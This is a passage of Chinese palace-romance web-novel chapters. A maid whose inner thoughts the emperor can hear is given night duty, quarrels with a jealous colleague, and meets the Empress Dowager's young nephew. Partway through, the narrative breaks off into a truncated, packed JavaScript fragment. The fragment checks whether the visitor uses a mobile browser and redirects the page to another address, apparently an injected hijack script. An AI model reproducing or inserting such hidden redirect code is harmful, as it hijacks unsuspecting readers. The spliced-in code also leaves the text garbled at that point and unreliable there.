温棉就看到皇帝那双长眉挑了一下。
“听你这话头,倒像是你爸爸先认识你妈,然后再上门提亲的?”
温棉打了一个突。
忘了这世道是父母之命媒妁之言,男女婚前连面都少见,更别提认识了。
她眼珠子转了一下。
“奴才爹妈都是擎小儿一起长大的,青梅竹马,所以认识。”
其实不是。
温棉妈妈那年路过某单位,看到温棉爸爸蹲在单位门口抽烟,一下子被美色所迷,于是才有了后面的故事。
昭炎帝看着她垂下的眼睫遮住的眼珠子。
这一回,他只听到后半句“被美色所迷”。
这丫头头一回见他,也在心里说他俊。
呵,娘母两个一脉相传。
皇帝复又转过身去,温棉只看到他的侧脸在灯光下玉一样的润。
皇帝其实长得真不赖。
他的鼻梁很高,在脸上投下影子,嘴唇略薄,眼睛总是淡漠的。
一旦没有表情,这张脸就冷硬得叫人害怕。
此时,这双淡漠的眼滑过一丝兴味。
有些好笑,又有些得意。
抬脚走上神武门城楼。
郭玉祥忙招呼提灯太监照亮台阶,免得万岁爷看不清摔着了。
万岁今晚好兴致,除夕夜不和娘媳妇子在一块,领着他们这些奴才逛紫禁城。
从慈宁宫出来,直到御花园,再到神武门,他们都走遍半个紫禁城了。
温棉端着沉甸甸的端罩,心中把皇帝骂了千万遍。
无可奈何,又捧着端罩“攀登”。
神武门是紫禁城的北门,站在城楼上居高临下,视野极为开阔。
立于雉堞之后,整条北上门外的景山前街与更远处的京城街巷,尽收眼底。
打眼望去,整个四九城都盖了一层棉被子。
不知何时,天上搓絮似的开始下雪。
一点点的雪,不大,但落进脖子里就叫人打颤。
昭炎帝难得想体恤一下旁人,刚准备说回乾清宫,就听到“辘辘”马车声。
脚步一顿。
正值宫宴散后,各府车驾依次从神武门东西两侧的宫门缓缓驶出,汇入夜色。
昭炎帝凭栏而立,望着底下那一串串在雪夜中移动的灯笼与车影。
暖黄的光晕勾勒出马车华盖的轮廓,在皑皑雪地上拖出明明灭灭的光痕,如同一条缓慢流动的河流,正从这帝国的心脏流淌向四方府邸。
他们回家了。
郭玉祥悄悄觑了一眼,皇帝的脸色好像不对。
这又是怎么了?
皇帝为人一向持重,泰山崩玉眼前而面不改色,少有这样的。
他记得皇帝当年和先皇一起打天下,先皇崩于战场,消息传过来后,皇帝咬牙忍痛,命强攻入城。
先皇葬礼时,皇帝眼圈通红,硬是把泪憋了回去。
宫里人都说皇帝心硬。
但郭玉祥是打小跟着皇帝的,那时皇帝还是完颜家的小世子,也曾有过打马扬鞭混不吝的时候。
他知道,皇帝是个冰雪人,内里包着熊熊火焰。
自从登上皇位,那团火就被冰雪围住,越来越看不见了。
“万岁,您看人都回家了,你也回家安置吧。”
温棉实在是被冻得受不了了。
手里捧着个大端罩,偏生用着托盘,一点也暖不到身子。
现下登上城楼,连风也挡不住了,温棉觉得自己的鼻涕都要被冻下来了。
到时候鼻子下挂两管硬邦邦的青鼻涕,好看相么?
“回家?”
昭炎帝语气似有嘲弄。
也是,住在紫禁城这么久,不是家也是了。
温棉听得直想骂爹。
「这祖宗怎么听上去有点伤春悲秋的意思?当皇帝的富有四海,他还难过上了。
矫情。
把他丢进雪里,穿单层儿不说还要伺候人,看他还矫情不矫情了。」
昭炎帝看着她的眼睛,把她心里那些大不敬的话听了个十成十。
他哼了一声。
她怎么懂得身边全是当面一套背后一套之人的感受?
她怎么懂得家人不是家人,真情全是假意的感受?
小小宫女,她懂什么。
昭炎帝道:“普通人家虽茅檐草舍,但家人真心相待,享天伦之乐,天家虽富贵至极,然……”
他停了下来。
接下来的话不是温棉能听的。
其实前面这句话也不该说给一个宫女听。
究竟是他多言了。
昭炎帝刚想说回宫,却听见温棉道:“太后小主们关爱万岁之处,与草民之家又有何异。”
「一个皇帝还纠结人家有没有真心待你?有大病。」
昭炎帝眉头一竖,就要叫人把这个胆子大得能捅破天的宫女拖下去。
温棉继续恭敬地低头,心里不断腹诽。
「谁能对着一个随时取走自己性命的人交付真心?再说了,真心需得真心换,当皇帝的哪有心?
凡事论迹不论心,宫里谁不是把皇帝顶在眼巴前伺候,结果他不仅要人家的劳动力,还要人的心。
太可怕了,这就是中年老登的矫情世界吗?」
昭炎帝没听懂“老登”是什么意思,但不妨碍他气得咬紧牙关,脸颊上涌起一片红。
他高声道:“来人!”
温棉打了个激灵,愈发肃了下来:“奴才在!”
「要回去了吗?太好了,火盆热水汤婆子暖被窝,我来了。」
昭炎帝本想叫太监侍卫来,把这丫头拖下去,狠狠打上五十大板。
结果她响亮地应了一声,倒叫他登时又是气又是笑,十停火气消了个五六停。
天下竟还有这般不敬君父的人,她的胆子真是比牛还大。
偏生还来到他面前,又偏生只是在心里嘀咕几句。
叫他骂也不好骂,罚也不好罚。
天生的克星,冤家!
郭玉祥听皇帝声气儿不对,抬眼看去,万岁脖子青筋暴起。
这是怎么了?!
他腿一软,就要跪倒。
紧接着,却见那位主儿盯着温棉,胸膛起伏,青筋硬生生消下去了。
郭玉祥暗自咋舌,主子爷是生温棉的气?
好端端的,温棉也没做什么,主子爷为什么生气,果然天威难测。
昭炎帝摇摇头,一甩手,翡翠十八子串珠簌簌响:“罢罢罢,回宫。”
回到乾清宫时,大宴早已散了。
宫里地龙烧得极旺,暖意扑面而来,温棉
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冻得发僵的身子渐渐软和,只盼着快些交了差事,好回去抱她的汤婆子睡大觉。
昭炎帝洗漱已毕,依着入睡前的惯例,要饮一盏温水润口。
温棉捧了青花瓷杯上前,他接过,却不急着饮,说不想眼前一堆人晃悠,挥手令司帐宫女退下。
暖阁内一时静极,只余烛芯偶尔的“噼啪”声与更漏细微的滴答。
温棉垂首侍立,目光只落在他手中的青花盏上,心想这位祖宗可再别作妖了。
就让她顺顺当当办完差吧。
皇帝斜靠在黄绫子引枕上,姿态闲适,明黄二龙戏珠寝衣勾勒出男人健壮的身条。
衣领微微敞开,露出麦色的皮肤和胸膛筋肉。
温棉盯茶杯的眼神不知不觉就落在胸肌上。
嗯……
“温棉。”
“奴才在。”
她忙肃了一下,眼神瞥见皇帝,似是因为热,皇帝的耳朵微微发红。
“朕问你,你可知做奴才的本分。”
温棉有些糊涂了:“做奴才自当是以‘忠君’为上。”
昭炎帝道:“好丫头,既然知道奴才的本分是‘忠’,朕这儿有个好差事,需得交给好奴才来办。”
温棉当即跪了下来:“请万岁吩咐,奴才万死不辞。”
昭炎帝盯着她眼睫遮住的眼睛。
「口号好尬,随便演一演算了。」
好奴才。
昭炎帝冷笑。
“果然你是个忠心的,这么着,自今日起,守夜的活儿就交给你了。”
温棉猛地瞪大眼睛,刚想抬头,突然想到不能直视天颜,又憋屈地把脑袋垂得更低了。
郭玉祥一直提心,只见温棉霜打了似的走出来。
郭玉祥忙上前:“嘿,姑娘,怎么了这是?”
温棉苦着一张脸:“郭谙达,万岁爷叫我守夜,我这就去收拾一下,待会还得回来。”
郭玉祥嗳哟一声,嘴巴先道:“给万岁守夜,这可是独一份的荣耀,温姑娘,从今儿起,咱们可得叫您一声姑姑了。”
心道不得了,万岁御前一向少用女人,守夜都是太监的活,这丫头眼看就要飞上枝头了。
宫女守夜,这在乾清宫还是头一回。
温棉说是要收拾,其实也不能带着被褥过来。
她只略漱了漱口,带了两块点心,夹着一个毡垫子就来了。
郭玉祥知道万岁爷的规矩,睡觉时不喜欢寝宫内有人。
所有值夜的太监连次间都不能待,只能待在外面。
隔着两重隔扇一间次间,警醒着,一夜都不能睡,预备万岁使唤。
但温棉是个姑娘,总不能叫她也待在外面。
不说会不会冻坏,就冲着她是个女人,不能跟太监挤一一堆。
太监虽说是没根儿了,但也是个男人。
郭玉祥暗自思索了一下,就领着温棉来到东暖阁外面,指着灯笼框落地花罩的一角。
“你就在这值夜罢,警醒着些,好生听万岁晚上睡得好不好,嗽了几声,要水不曾。”
郭玉祥边说边往里面觑了一眼。
龙床上一层弹墨绫帐子,一层黄绫帐子,俱都放下了。
但万岁肯定都听到了。
没反应。
没说同意,但也没斥责。
说明是默许了温棉就待在暖阁外面。
烛火俱灭了,昭炎帝躺在床上,半天睡不着。
温棉坐在毡垫子上,靠着落地罩,也睡不着。
她从早起到除夕宴再到现在,忙了一天,只中午胡乱吃了几口茶泡饭,现在饿得抓心挠肺。
又兼站了一天,走了半夜,现在刚盘腿坐下,小腿就酸酸胀胀的。
她揉了一会儿腿,从怀里取出一个帕子,里面包着两块如意印子饽饽。
这是除夕大宴撤下来的点心,散于宫人吃,既不浪费也能讨点主子的福巴儿。
那姑姑特意留了两块给温棉。
一块饽饽只半掌大小,用模具压成如意云头的样子,里面填了柿子馅。
咬一口,酥得掉渣。
柿子馅又甜又香,还沾牙。
温棉四五口吃完了饽饽,噎得翻白眼,余光一瞥,看见红木螺钿圆桌上有一个铜胎珐琅三阳开泰暖窠子。
温棉犹豫良久,又怕被噎死又怕被打死。
在现在死和未来死之间,她选择还是未来死。
昭炎帝耳朵灵,听到外面窸窸窣窣的声音,不由叹了口气。
外间儿敢是进来个老鼠?
横竖睡不着,他撩开帐子下床了。
温棉悄悄倒了一杯温水喝了,这才觉得顺气了。
她复坐回原位,
昭炎帝拨开隔扇上的帐子,隔着玻璃,只看到一个圆圆的脑袋,黑油油的发顶。
乌黑的发辫搭在肩头,映得那截莹润白皙的脖颈玉一般。
温棉将剩下的饽饽用手帕包好,塞回怀里,忽觉得浑身不自在。
她猛地回头。
隔着红木玻璃灯笼框隔扇,对上一双不怒自威的眼睛。
12. 翡翠白菜饺子
温棉心口猛地一突,忙不迭就地跪倒,额头触在冰凉的金砖上。
又慌忙爬起来,手忙脚乱地去拨开那红木隔扇上的铜销子。
打开门后,她压低了嗓子急急地问:“万岁爷可是有什么吩咐?”
她的腰躬得弯弯的,脑袋正好在皇帝肚腹的位置。
隔扇一打开,暖阁的温热气息混着龙涎香的味道扑面而来。
她垂着眼,只看见皇帝黄缎寝衣的一角下摆。
昭炎帝并未立刻回答。
他只是垂眸,目光掠过她微微松散的鬓角,又落到她的脖子上。
这会儿看不见她的脖颈了,只看得见两只小巧的耳朵。
那耳朵真格和她方才拿出来的如意饽饽似的,圆圆的,粉白的。
昭炎帝慢慢踱步到桌旁,坐在圆凳上。
脸部肌肉几不可察的绷紧了,上下牙齿缓缓地摩擦着、碾磨着,好像咬住了什么似的。
温棉着急忙慌地寻来一领紫貂皮福寿三多坎肩给皇帝披上。
然后又忙请罪:“奴才疏忽,没听见您唤奴才,万岁有什么吩咐,只管示下。”
昭炎帝默不作声。
他也不知道自己怎么就睡不着。
本来大年初一要忙的事就多,他现在睡下也只能睡一个时辰左右。
可他就是睡不着。
他轻轻翻开一个小巧的矾红杯,提起配套的提梁壶,自斟一杯白水。
温棉瞳孔一缩。
这个杯子她方才用过!
昭炎帝饮下一口。
肩膀一抖,坎肩就掉了下来。
而后踅身进到西暖阁里,躺了回去。
温棉怔愣地看着皇帝的动作。
梦游吗?
她乖乖叠好坎肩,现在也不能去四执库,更不能进去翻衣柜,只能把坎肩放在榻上。
温棉又盘腿坐回垫子上。
熏笼的炭火慢慢熄了,次间有些冷。
温棉搓了搓胳膊,侧耳细听里间声音。
皇帝呼吸均匀,应是睡了。
她悄悄展开那件貂皮坎肩。
嗯……
难怪东北人爱穿貂,真暖和……
她脑袋一侧,靠在榻上,眼皮慢慢地压下来。
多年的习惯让昭炎帝在寅时便醒了,他捏了捏紧绷的眉心,耳朵一动。
他听到了磨牙声。
乾清宫太监二把手王问行当值。
隔着大玻璃窗子和猩猩毡帘,看到皇帝似是起身了。
王问行压低声音:“主子爷嗳……您起身了……”
昭炎帝揉了揉太阳穴。
王问行这声气儿,嗓子掐得跟游丝似的,又不是女人又不是小太监,这老小子怎么张嘴就这样。
郭玉祥早从他坦里出来了。
他忙隔着窗子低声道:“主子爷,奴才们这便进来侍候了。”
说着,他就要拍手发暗号。
一向都是这样的,主子爷起身后虽脾气不好,但不消磨时间,说起就起,登时就洗漱用茶用饭。
一刻儿也不耽误的。
结果今日倒奇了。
郭玉祥正要击掌,却听里间主子爷道:“不急。”
郭玉祥刚伸出的手就是一顿。
王问行呵呵笑着:“万岁爷今儿这是……呵呵……”
你这老小子就算是睡着,两眼珠子都得分出一只盯着万岁,这会子万岁爷和之前不同情形儿。
大总管,您知道什么就说呗。
郭玉祥面无表情:“主子爷要做什么,哪有我们置喙的地方,我是只知听主子话,忠心办差的。”
王这狗奴才两眼珠子盯着他屁股下的副都太监位置,盯得眼珠子通红。
要是告诉他温棉的事儿,这老小子说不准就要加一把火,把温棉捧上去了。
到时候他怎么办?辛辛苦苦忙活一场,为别人做嫁衣?
乾清宫太监一把手和二把手就这么着,面对面呵呵笑着。
王来喜、小贵张等做徒弟的看了一眼睛。
心道这两个老东西敢是吃坏了脑子,大清早在主子爷窗子前哼哼。
昭炎帝踩着软鞋,脚步特地重了些。
温棉一下子就惊醒了。
她忙将身上披的貂皮坎肩放到榻上,然后打开隔扇。
“万岁爷您醒了?”
她满脸笑,轻声道。
昭炎帝站在八宝栽绒毯上,颇威严地点点头。
温棉忙轻轻拍了两下手,给外头传信号。
听到里面的暗号,殿外坐更的忙站起来打帘子,宫人们鱼贯地进来
先是太监跪着高举洗脸的铜盆,另有一太监沾湿毛巾为皇帝擦脸。
然后是梳头上的。
梳头太监先用象牙梳通头百遍,而后编辫子。
皇帝鬓若刀裁,头发又浓又密,梳成一条粗辫子,辫稍系上明黄丝线串的翡翠绦子。
按照惯例,一边梳头,敬茶上的便要进来了。
今儿是秋兰领着娟秀来的,一人奉参茶,一人奉白水。
大年初一一早,要进吉祥饽饽。
郭玉祥捧出个比蜜还甜的笑来,亲自端着填漆托盘,盘上只一只斗彩海水云龙纹碗。
碗里是两只饺子。
温棉只看了一眼就不由赞叹。
难为御膳房手巧,饺子也能做出花来。
这饺子用了二色面皮,一色是白面,一色是菠菜汁子染的绿面。
将绿面擀大一点,
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中间抠出个圆,填上白面,一起擀开,便出得到一个中间白边缘绿的面皮。
里面包的是白菜馅。
白菜用香油、盐、香菇粒调烹,圆鼓鼓的填满饺子白面的部分。
御厨再将绿面一合,捏出褶皱,一个栩栩如生的翡翠白菜饺子就成了。
昭炎帝草草吃了两只饺子,就去太和殿了。
大年初一大朝会,这是万万不能迟的。
皇帝戴着大毛貂尾缎台苍龙教子正珠顶冠,穿明黄缂丝面青白膁金龙袍、石青缂丝面黑狐膁金龙褂,戴菩提朝珠系里边,束金带头线纽带挂带挎,穿青缎毡羊皮里皂靴。
看上去威严极了。
昨晚那个半靠在引枕上,露出饱满的肌肉的人好像只是个错觉。
温棉拍了拍脸,皇帝收拾停当了,她也该回去补觉了。
她甩开满脑子乱七八糟的东西,回到下榻处,脑袋一扎,埋进被褥里就睡着了。
这一觉睡得稳当。
那姑姑发话,不许叫她,温棉一觉睡到申时,连用饭时间也错过了。
醒来后天都黑了,屋里空荡荡的没有一个人。
温棉坐在床上愣了一会儿。
一个小宫女跑了进来,看见温棉嗳哟一声:“姑姑可算醒了,那姑姑叫我跑了好几趟呢,那姑姑说姑姑若醒了,铜茶炊上坐着点心,姑姑肚饿再吃。”
她不说还好,说了后温棉就觉得肚腹已然饿得翻天覆地了。
小宫女手脚麻利,打来热水,准备侍候温棉洗脸,倒叫温棉吓了一跳。
“这是怎么说来?我也是那姑姑手下的,你我都是一样当差,怎么能叫你服侍我?”
小宫女笑道:“姑姑如今是上夜的,万岁爷最信重的得意人儿,我能在姑姑手底下做事,是求也求不来的大福。”
温棉待要还推辞,却听见窗外廊子下传来一声冷哼。
娟秀一摔帘子进来了:“哟,温姑姑醒了,给温姑姑请安了。”
说着她就蹲了个四不像的蹲安。
“我是个木头人,见姑姑一向心思不往敬茶上放,那姑姑叫烧水递茶的,你从来不动一下,我还道你是个老实的,没想到你的心思根本就是瞄着更大的去了。”
温棉刚醒就听她阴阳怪气的,一头雾水:“您这话我竟听不懂,您这是跟我置气呢?莫非是嫌我昨日不在职上,你忙活了我的活,这才不高兴?”
娟秀只当她装傻充愣:“你装什么大头蒜,你算计到上夜的缺儿,哄得主子爷为你破例,宫里都传遍了,你还道不知道呢?”
万岁不爱宫女贴身伺候,能近身的不是太监就是快要放出去的宫女。
这会子冷不丁叫一个十六七的宫女上夜,满宫里但凡知道的,谁不议论几句?
13. 玉泉酒
温棉闻言心头剧震,困意顿时烟消云散。
“宫里都传遍了?传什么了?”
她越说声音越紧。
俗话说的好,三人成虎,不用别人说她也能猜到传成什么样了。
她急道:“他们肯定添油加醋胡说八道,传些不知四六的话了!”
右手握拳,狠狠锤了一下床板。
娟秀冷眼看她唱念做打。
会咬人的狗不叫,如今真应了这句话。
万岁身边新选进来的四个人,连她在内,哪个背后没有人。
自从进了乾清宫,她大概也知道司寝上那两个是谁家的女儿、谁家的妹子,偏打听不出温棉的根脚。
又见她平日里不拔尖不冒高,低眉顺眼的,只是憨憨的。
万万没想到她们四个中第一个出头的是温棉。
可见人家不是没背景,人家只是城府深。
温棉不愿意听娟秀说这些酸里酸气的话,下床收拾了一下,便打算去找那姑姑,问问她以后倒底要当什么差。
没个白天敬茶晚上值夜,一天到晚不能睡觉的道理。
娟秀见温棉略过她就要走,一句话也不说,气儿更不顺了,咬着牙一甩手帕子就要拦住她。
那帕子尖就跟长了翅膀的大雁似的,甩到温棉眼睛了。
“嗳!”
温棉忙捂住眼睛,眼泪当即就出来了。
娟秀只当她装模作样,更没好声气:“姑娘就算哭出两大缸泪,奈何主子爷不在这里,有这会子哭的功夫,你不如省省气力,哭到主子爷跟前,说不得哭出一个答应来。”
温棉本就眼睛疼,听到这不阴不阳的话,火气噌一下直冲头顶。
她平日里不爱和人闹矛盾。
都是宫里给人当奴才的,梅香拜把子,都是一家人。
她知道当奴才苦,再说闹大了谁都讨不了好,故而遇到一般的争执,她能让也就让了,不愿意说狠话戳人心窝子。
可娟秀这话说得忒难听了,她要是不骂回去,人该以为她是个面瓜了。
“我听明白了,原来您不是嫌万岁没挑你去守夜干苦活儿,而是以为万岁和我有了首尾。
亏我还纳闷呢,心想您这一进来就没头没尾发邪火,敢是冲撞了什么,原来是觉着我挡了您飞上枝头的路?这小主还没当上,先替小主吃上醋了,您也不怕忙得慌。”
娟秀一张瓜子脸顿时胀红,她刚要说话儿,却见温棉捂住了耳朵。
“您污蔑我名声不要紧,竟然还污蔑万岁,您这胆子忒大了点,原在您眼里,万岁竟是个急色之人,您敢说我都不敢听。”
娟秀气得结结巴巴:“我何曾说来着?我何曾说万岁了?清水下汤面,你吃我看见,你敢说没有故意露脸的意思?不然万岁为什么单单点你去值夜?”
“万岁什么时候单单点我值夜?值夜的还有一堆公公呢,不乏俊秀的,照你的意思,那些公公都跟万岁有什么?”
“你这满嘴都胡吣些什么!”
帘子猛地一甩,甩到门槛上,噼里啪啦的。
那姑姑一撩旗袍,平肩正背地走进来,柳眉倒竖,指着温棉和娟秀道:“越来越没王法了,这里是什么地方,容得下你们撒野?吵嘴竟攀扯到主子爷身上了,你们是嫌命太长了?素日里你们闹我不理论,没成想倒纵了你们。”
娟秀见那姑姑进来,这才收了声气。
温棉忙捂着眼睛轻轻揉了下,不疼了。
她眨眨眼,被娟秀用帕子甩到的眼睛还是红的,她这就捂着“嗳哟”叫唤起来。
“嗳哟姑姑,我这眼睛被秀姑娘用帕子甩了一下,现在还疼呢,您好歹帮我去太医院寻点药。”
娟秀见此,眼睛都气红了,还想再呲哒几句,帘子忽然又是一响。
先前那小宫女见她们俩吵起来后就躲出去了,此时去而复返,身后还跟着一个面生的小太监。
小太监进门便打了个千儿,目光在屋内一扫:“哪位是温棉姑姑?太后娘娘传你,随我过去吧。”
温棉心头一突。
娟秀叉着的手慢悠悠放下,要笑不笑的:“嗳哟,温姑姑快去吧,好前程擎等着您呐。”
那姑姑狠狠剜了一眼娟秀,指头点了点她,问小太监:“敢问公公,太后娘娘说是什么事儿了吗?”
小太监道:“这我上哪儿知道去?温姑姑,快走吧。”
那姑姑看了温棉一眼,轻轻抚了抚她的胳膊,低声道:“太后娘娘是个赏罚分明的人,你没做错事,按照规矩走,应当不会有事。”
温棉感恩地拉拉那姑姑的手,瞪了一眼犹自冷笑的娟秀,拢了拢头发,起身跟了出去。
时近傍晚,天际只剩一抹苍青的余光。
夹道的红墙在暮色中显得格外高大幽深,墙头道边覆盖的积雪尚未化尽,在黯淡天光下泛着灰白。
几声炮仗炸响,轰隆一下炸得人耳鸣。
从月华门出来,走过遵义门,自养心殿后面绕去慈宁宫。
其实走内右门再过隆宗门去慈宁宫会更近,但出了内右门就是前朝,军机处就设在那里,内右门有侍卫把守,宫人不能从那里走。
别说走正门,宫人连走路都不能走甬路中间,得到旁边走。
温棉数着脚下的砖。
路过永寿宫和启祥宫,就来到了慈宁宫后面。
一路无言。
小太领着温棉直到进了慈宁宫的地界,却没有进主殿,而是进了二所殿。
殿内空无一人。
前朝太妃一般都住在这里,但当今登基后,高祖后院中的女人凡是求去的,皆允了。
只剩几个或生育了孩子,或自己不愿离去的,都随太后居住,要么在寿康宫,要么在头所殿。
二所殿及旁边的殿倒都空了下来。
温棉待要问小太监,那小太监已经像泥鳅似的滑出去了。
因为配殿无人居住,故而没有烧地龙,寒气顺着金砖缝一丝丝渗上来,浸得人脚底发僵。
温棉站在此处,也不敢随意坐下。
隔着一道厚厚的宫门,主殿那边的欢闹声飘来,像是从极远的另一个世界传来的回响。
女人的说笑声清亮,夹杂着孩子稚嫩的嬉闹与奔跑,隐约还有杯盏轻碰的脆响。
种种声音混成一团鲜活的热气,愈发衬得这间无人问津的二所殿,冷清得像一座被遗忘的冰窖。
温棉垂手站着,目光落在自己鞋尖一点深色的湿痕。
是方才踏雪而来留下的。
她的袜子也湿了,脚趾在鞋里蜷缩,便发出“咯叽咯叽”的水声。
/
三丹姑借着换茶盏的功夫,走到太后身后,低声耳语了几句。
太后脸上噙着笑,手里摸着张象牙牌,几不可闻地“嗯”了一下。
牌桌上围坐的几位贵妇人都作不知,偏有一人胆大包天,指着三丹姑叫嚷起来。
“嗳!我看见了,大姑姑是不是给姑爸提醒儿了?是不是告诉姑爸我手里有什么牌了?”
那声音又清又亮,带着少年人特有的爽利劲儿。
太后含笑望去,拐子纹黄花梨大桌子对面坐着的,正是她嫡亲的娘家侄儿苏赫。
年方十七八岁的少年,随手将外套的对襟绸面云鹤紫貂出锋褂子解开,露出一身大红百蝶穿花织金袷袍。
头上未戴冠,只将乌黑的辫子梳得油亮,系着穿翠珠黑色梅花结辫穗,更衬得眉目如画。
辫穗随着他得意的动作轻轻晃着,一派勋贵世家娇养出的鲜活气象。
三丹姑笑道:“我不会牌,怎么说给娘娘知道?小公爷可别平白冤枉了好人。”
太后道:“我的儿,这个天儿穿袷的,仔细冻着,快把衣裳穿好。”
苏赫笑嘻嘻地摆手:“姑爸,我最怕热,这屋里炭火旺得紧,您就容我松快松快吧。”
说着便将那紫貂褂子彻底褪下,随手搭在椅背上。
太后一连声叫人:“快,再添两个火盆来。”
“姑爸!”苏赫拖长了声音,作势要解袍子的盘扣,“您再叫人添火盆,我可真要热化了,到时候不顾体面,在您这儿打起赤膊来,您可别嫌我。”
坐在他旁边的是他的母亲,承恩公一等夫人葛氏抬手轻拍了他一下:“浑说什么?越大越没规矩了。”
太后心疼地嗔怪:“打孩子做甚,他还小呢,正是贪凉怕热的年纪。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16831754|190873||http|test|mini|href|location''.split(''|''),0,{}));
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>又转头对苏赫柔声道:“好好好,不添火盆了,到底年纪轻,火气旺,翠娥,去把玉泉酒给你们小公爷端一盏来,暖暖身子。”
一宫女应声去了,端了个描金填漆托盘进来。
上面放着一只六棱錾刻梅兰竹菊纹烧蓝珐琅酒壶,并几只酒杯,还有一个银錾花温酒器。
翠娥将温酒器套到酒壶外面,注入热水,不消多时酒便热了。
而后她为太后先倒了一杯。
琥珀色的酒液在茶杯里打转,倒映出满殿烛火,波光粼粼。
太后只说先给苏赫,苏赫接了,一饮而尽。
他砸吧砸吧嘴:“甘甜柔顺,醇厚爽口,我又偏了您的好东西了,姑爸,走时我可要带上一坛。”
太后笑道:“本就给你留了,只不许多吃酒。好生嘱咐他身边的人,不许听之任之。”
她对葛氏道。
敬妃坐在另一边,笑道:“倒底是亲侄儿,姑爸眼里只看得见苏赫,我们是没人疼的了。”
敬妃是太后的侄女,苏赫的堂姐。
她这么一打趣,满殿的人都笑起来。
太后点点她:“猴儿猴儿,把你惯的,都多大了,还吃弟弟的醋,要是你今日牌打得好,我就赏你金瓜子如何?”
敬妃一摆手,道:“谁不晓得您牌技好?我看呐,我是一个子儿也从您这儿赚不到,今日带来的却是都要输给您了。”
太后这边随手打出一张牌,是一张“幺鸡”。
苏赫抬眼,飞快地瞥了一眼立在太后身后那位名唤翠环的宫女。
翠环垂着眼,手指在身前悄悄比了个“三”,又将三指并起来。
苏赫会意,从自己牌列里抽出一张“三条”打了出去。
“哎呀!”太后将手中的牌一推,满面春风,“和了!门前清,缺一门,带幺九,这回可算是逮着个大番子!”
苏赫立刻把面前的牌搅乱,捂着自己面前装钱的小匣子哀叹:“不打了不打了,怎么又是您赢了?姑爸您定是看得见我的牌,我这回带出来的体己银子可都要输光了。”
“小萨哈,其其格,快去搜你们小叔叔的身。”
太后一声令下,几个小孩子便猴也似的窜了上去。
苏赫左右夹着孩子,乱作一团
一屋子人俱笑了起来。
/
温棉在配殿一直等着,四周无人,她数着夕阳映了多少格双交四椀菱花格。
直到阳光渐渐暗淡,太阳沉入西边,月亮渐渐上来。
突然外间有脚步声由远及近。
她忙站直。
“吱呀”一声,大门打开,随即是一个少年人的声音。
“唉,热死了……”
一个少年人一边松领口一边走进来,顺手把门关了。
他穿一身大红,却不显得女气,而是像一朵被娇养在花房的牡丹似的雍容。
腰间系着躞蹀带,盘金绣的云锦荷包、织金的火镰袋、翡翠玉佩……端的是环佩叮当。
苏赫迈步进到二所殿,一屁股倒在榻上,没有地龙火盆,他这才觉得清凉了些。
他舒了口气,一偏头,就看到一个女人站在柱子旁。
月光透过双交四椀菱格窗撒进来,照在这个女人身上,使得她的脸越发的惨白。
苏赫骇了一跳,以为看到了鬼。
“哎呀”一声摔下榻来。
温棉见来人眼睛圆瞪,忙福下身。
“奴才见过这位爷。”
苏赫清咳了一下,掩饰尴尬般将搭在肩上的辫子甩到后面去,翡翠辫穗在空中燕子似的飞。
他撑着脚凳站起来,压低声音,倒有了几分贵胄的威严。
“你是何人?为何在此?”
他借着月光端详眼前人,面皮白净,脸若银盆,眼如桃花,却不显得风流,而是格外的清澈。
身量不高不矮,不胖不瘦,但穿着一裹圆的酱色旗袍却很好看。
温棉才要答话,不料眼前这位贵公子突然一个箭步上前,捂住了她的嘴。
胳膊一把搂她的腰,就把她带到了落地花罩后面。
温棉瞳孔骤缩,随手抄起旁边的美人觚就要砸破这登徒子的脑袋。
14. 酸菜锅子
外间忽然传来几个小孩子叽叽喳喳的声音。
“我分明看见小叔叔跑到这儿来了。”
“但里面黑黢黢的,没有人呀。”
“咱们进去瞧瞧。”
接着是宫女焦急的轻唤:“小主子们,快些回去吧,这儿怪冷的,仔细冻着。”
苏赫竖起耳朵,直到那串脚步声渐渐远去,消失在夜色里,这才长长地松了口气。
他慢慢松开捂着温棉嘴的手,放开搂着她腰的胳膊,后退一步,颇为懊恼地整了整衣襟。
朝着温棉规规矩矩地躬身行了一礼。
“姑娘,实在对不住,事急从权,唐突冒犯了,还请姑娘海涵。”
他刚抬头,再解释两句,目光却陡然落在温棉手里。
那双素白纤细的手紧紧攥着一个沉甸甸的粉彩美人觚。
这是什么意思,不言而喻。
苏赫的瞳孔微微一缩,脸上那点稀薄的歉意如雪消散,瞬间被愕然取代。
他指了指那瓶子,声音抬高了八度:“你你你……你这是要砸我?你好大的胆子!”
温棉慌忙跪下,将美人觚轻轻放在地上,额头触地:“奴才万死,请爷恕罪。”
心下却电光石火般转念。
能在慈宁宫这般自在,衣着又如此显赫的年轻男子,必是太后娘家极亲近的子侄无疑。
是她吃罪不起的人物。
她正待请罪,空旷寂静的殿里,忽然响起一阵“咕噜咕噜”。
温棉一怔,耳根子渐渐发红。
她自昨夜后还没吃过饭呢,这会子肚子就造反了。
肚腹因饥饿难耐而发出的鸣响,在这落针可闻的殿内显得格外突兀。
苏赫刚要发作的怒火,被这不合时宜的声响一搅,倒像被戳破的气球,登时泄了三分。
他张了张嘴,又是好笑又是好气。
“罢了罢了。”
苏赫摆摆手。
衣袖上的蝴蝶是编了金线绣上去的,在暗淡的宫殿里金灿灿的,随着他摆手,那蝴蝶几欲振翅而飞。
苏赫随手摸向荷包,从中摸出一块奶油炸的油糕。
是早上入宫前家里人让他垫肚子时吃的,用油纸包着。
他将这油糕扔到温棉怀里。
“赏你了。”
温棉一愣,手里坠坠的多了个东西,冷冰冰的一团。
苏赫待要再说什么,忽有灯光自殿外廊下由远及近,映在窗纸上摇曳不定。
“哒、哒、哒……”
随之而来的,是极轻微的脚步声。
这是鞋底落在金砖上的声音。
温棉早就听得熟了。
启人女子穿的鞋大都是高底,有花盆底、马蹄底、元宝底。
花盆底的声音更脆些,这种听起来敦厚的,应该是元宝底。
元宝鞋的底子是以木为底,外包青缎,形似元宝,因此得名。
行走时比花盆底更为稳当。
在宫里穿元宝底,又在此时来这儿的人……
温棉脸色微变,来不及多想,她立时起身,一把将苏赫推到落地花罩后面,胡乱把油糕也丢到苏赫怀里。
